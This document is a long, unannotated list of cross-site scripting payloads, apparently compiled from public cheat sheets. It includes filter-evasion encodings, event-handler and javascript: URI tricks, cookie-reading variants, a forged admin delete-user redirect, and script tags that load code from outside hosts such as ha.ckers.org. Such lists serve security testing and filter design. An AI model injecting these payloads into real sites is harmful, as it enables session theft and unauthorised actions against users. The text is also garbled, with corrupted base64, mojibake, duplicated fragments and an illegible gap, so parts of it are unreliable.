A6Ly93d3cudzMub3JnLzIwMDAvZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW50PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW50PSIiB2ZXJzaW9uPSIxLjAiIHg9IjEiIHk9IjEiIHdpZHRoPSIxOTQ9IiGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNTYXNjcmlwdCI+YWxlcnoIlh
TUyIp0zwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo 'SCR'"--><!--#exec cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js"></SCRIPT>'-->
<? echo('<SCR');echo('IPT>alert("XSS")</SCRIPT>'); ?>
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD><ADw-SCRIPT+AD4-alert('XSS');+ADw-SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

```

<SCRIPT a=">" ' ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>' ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a="`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="http://66.000146.0x7.147/">XSS</A>
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<svg><script %00>alert&lpar;1&rpar; {Opera}
<img/src=%00` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=%00`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /*%00*/> /*%00*/alert(1)/*%00*/</script /*%00*/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'\>%00
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-
equiv="refresh"/>
<svg><script
xlink:href=data&colon;;window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*%00*/
onerror='eval(src)'\>
<img/&#09;&#10;&#11; src=~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-
cert;&NewLine;base64&NewLine;;PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg=="&#09;&#10;&#1
1;>X</a
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00;
onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(> /* */ alert(document.location) /* */</script
&#32; :-(>
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /* */> /* */ confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450') /
*/></script /* */>
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)"
onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<bblink&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)

```

```
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/
type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\
</script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font></
style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\\></|\\><plaintext/onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;
{Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!--'%'><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \\//onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)''>X</div>
http://www.<script>alert(1)</script .com
<iframe
src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&
Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&
Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&
Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t
&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta
b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Ta
b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<svg><script ?>alert(1)
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&T
ab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/"></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf"
allowsriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)">">X</a>
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(' \u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.
\u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert(' \u0061')"></
script a=\u0061 & /=%2F
<script/src=data&colon;text/
j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
```

```

<script>+--+1--+alert(1)</script>
<body/onload=&lt;!-&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script>
<img src ?itworksonchrome?\"/onerror = alert(1)
<svg><script>\"/&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style='x:'>
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&
#x00000072;&#x00074;(1)></script>
<div style='position:absolute;top:0;left:0;width:100%;height:100%'
onmouseover='prompt(1)' onclick='alert(1)'>x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href='\"//jsfiddle.net/t846h/'>click
<object data=data:text/html;base64,PHN2Y9vbmxbvYwQ9YwXlcNqoMik+></object>
<iframe src='data:text/html,
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E'></
iframe>
<a
href='data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&
#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#
109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#
60&#47&#115&#99&#114&#105&#112&#116&#62&#8203'>Click Me</a>
&`~; alert(1);
&`~)alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jaVasCrIPt:alert(&#x5C~XSS&#x5D)>
<IMG SRC=&#x5C javascript:alert(&#x5C~XSS&#x5D);&#x5C >
<IMG SRC=javascript:alert(&#x22XSS&#x22);>
<IMG SRC=javascript:alert(&#x5C~XSS&#x5D)>
<img src=xss onerror=alert(1)>
<iframe %00 src='&#x26Tab;javascript:prompt(1)&#x26Tab;%00'>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover='jaVaScRiPt&colon;confirm&lpar;1&rpar;'"
<svg><scRipt %00>alert&lpar;1&rpar; {Opera}
<img/src=%00` onerror=this.onerror=confirm(1)
<form><isindex formaction='javascript&colon;confirm(1)'
<img src='%00`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src='data:text/html;&Tab;base64&Tab;PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=='>
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
&#34;&#62;<h1/onmouseover='\"u0061lert(1)'>%00
<iframe/src='data:text/html,<svg &#111;&#110;load=alert(1)>'>
<meta content='\"&NewLine; 1 &NewLine;; JAVAScRIPt&colon; alert(1)' http-
equiv='refresh'>
<svg><script
xlink:href=data&colon;window.open('https://www.google.com/')></script>
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv='refresh' content='0;url=javascript:confirm(1)'>
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href='\"javascript:u0061lert&#x28;1&#x29;\">X
</script><img/*%00/src='worksinchrome&colon;prompt&#x28;1&#x29;\"/*%00*/
onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src='javascript&#58;alert(1)'&#11;&#10;&#09;;>
<a href='data:application/x-x509-user-
cert;&NewLine;base64&NewLine;;PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg=='&#09;&#10;&#1
1;>X</a>

```

```
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00;
onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script
&#32; :- (
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /**/>/**/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/
**/</script /**/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)"
onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/
type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\ \ <script //|\ \ src='https://dl.dropbox.com/u/13018058/js.js'> //|\ \
</script //|\ \
</font></svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font></
style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;
{Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \\/\onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe
src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&
Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&
Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&
Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t
&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab
```

[illegible]



```
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1
01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0
000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND=â javascript:alert(â `XSSâ ™)â >
<BODY ONLOAD=alert(â `XSSâ ™)>
<INPUT TYPE=â IMAGEâ SRC=â javascript:alert(â `XSSâ ™);â >
<IMG SRC=â javascript:alert(â `XSSâ ™)â
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")

<img src=javascript:alert(&quot;XSS&quot;);>
<"';alert(String.fromCharCode(88,83,83))//
\'';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
/\';alert(String.fromCharCode(88,83,83))//--></
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="
A6Ly93d3cudzMub3JnLzIwMDAvZnVudC9iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIEhtbG5zOnhsaW50PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW50PSIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQtZWN0IHNjcmlwdCI+YWxlcnQoIlh
TUyIp0zwvc2NyaXB0Pjwvc2ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//
\'';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
/\';alert(String.fromCharCode(88,83,83))//--></
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//
\'';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
/\';alert(String.fromCharCode(88,83,83))//--></
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/
SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox
worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#51
0
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\'';alert%2?
8String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
\'";alert(String.fromCharCode(88,83,83))%?29//--></
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&submit-
frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input
```

```

autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--
<![>
<style>
<? foo="><script>alert(1)</script>>
<! foo="><script>alert(1)</script>>
</ foo="><script>alert(1)</script>>
<? foo="><x foo='?'><script>alert(1)</script>'>>
<! foo="[[[Inception]]"><x foo="]foo"><script>alert(1)</script>>
<% foo><x foo="%><script>alert(123)</script>>
<div style="font-family:'foo&#10;;color:red;'">LOL
LOL<style>{*/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/
color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNsrc=\"javascript&#058;alert('XSS')\"&gt;
&lt;IMG LOWsrc=\"javascript&#058;alert('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BR SIZE=\"{alert('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;///ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/
LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\"
HREF=\"http&#58;///ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;///ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\"
Content=\"&lt;http&#58;///ha&#46;ckers&#46;org/xss&#46;css&gt;;
REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;///ha&#46;ckers&#46;org/
xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\")};
&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
&A%scriptualert(EXSSE)&A%/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');
\"&gt;
&lt;META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD
4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http&#58;///;URL=javascript&#058;alert('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME
SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"background-
image&#58;\0075\0072\006c\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\007
4\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029
\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('XSS'))\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;

```

```
<IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
<XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
exp/*<A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/pression(alert(\"XSS\"))'&gt;
<STYLE TYPE=\"text/javascript\"&gt;alert('XSS');</STYLE&gt;
<STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')
\");}<\/STYLE&gt;<A CLASS=XSS&gt;<\/A&gt;
<STYLE
type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}<
<\/STYLE&gt;
<!--&#91;if gte IE 4&#93;&gt;
<SCRIPT&gt;alert('XSS');<\/SCRIPT&gt;
<!--&#91;endif&#93;--&gt;
<BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
<OBJECT TYPE=\"text/x-scriptlet\"
DATA=\"http&#58;\/ha&#46;ckers&#46;org\/scriptlet&#46;html\"&gt;<\/OBJECT&gt;
<OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;<param
name=url value=javascript&#058;alert('XSS')&gt;<\/OBJECT&gt;
<EMBED SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;swf\"
AllowScriptAccess=\"always\"&gt;<\/EMBED&gt;
<EMBED SRC=\"data&#58;image\/svg+xml;base64,PHN2YyB4bWxuczpzdmcm9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvMzZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmcmciIHhtbG5zOnhsaW50PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjEiIHk9IjEiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNTYXNjcmlwdCI+YWxlcuQoIlh
TUyIp0zwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image\/svg+xml\"
AllowScriptAccess=\"always\"&gt;<\/EMBED&gt;
a=\"get\";
b=\"URL(\"\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\\"\";
eval(a+b+c+d);
<HTML xmlns&#58;xss&gt;<?import namespace=\"xss\"
implementation=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;htc\"&gt;<\/xss&#58;xs
s&gt;XSS<\/xss&#58;xss&gt;<\/HTML&gt;
<XML ID=I&gt;<X&gt;<C&gt;<!--&#91;CDATA&#91;<IMG
SRC=\"javas&#93;&#93;&gt;<!--&#91;CDATA&#91;cript&#58;alert('XSS');
\"&gt;&#93;&#93;&gt;
<\/C&gt;<\/X&gt;<\/xml&gt;<SPAN DATASRC=#I DATAFLD=C
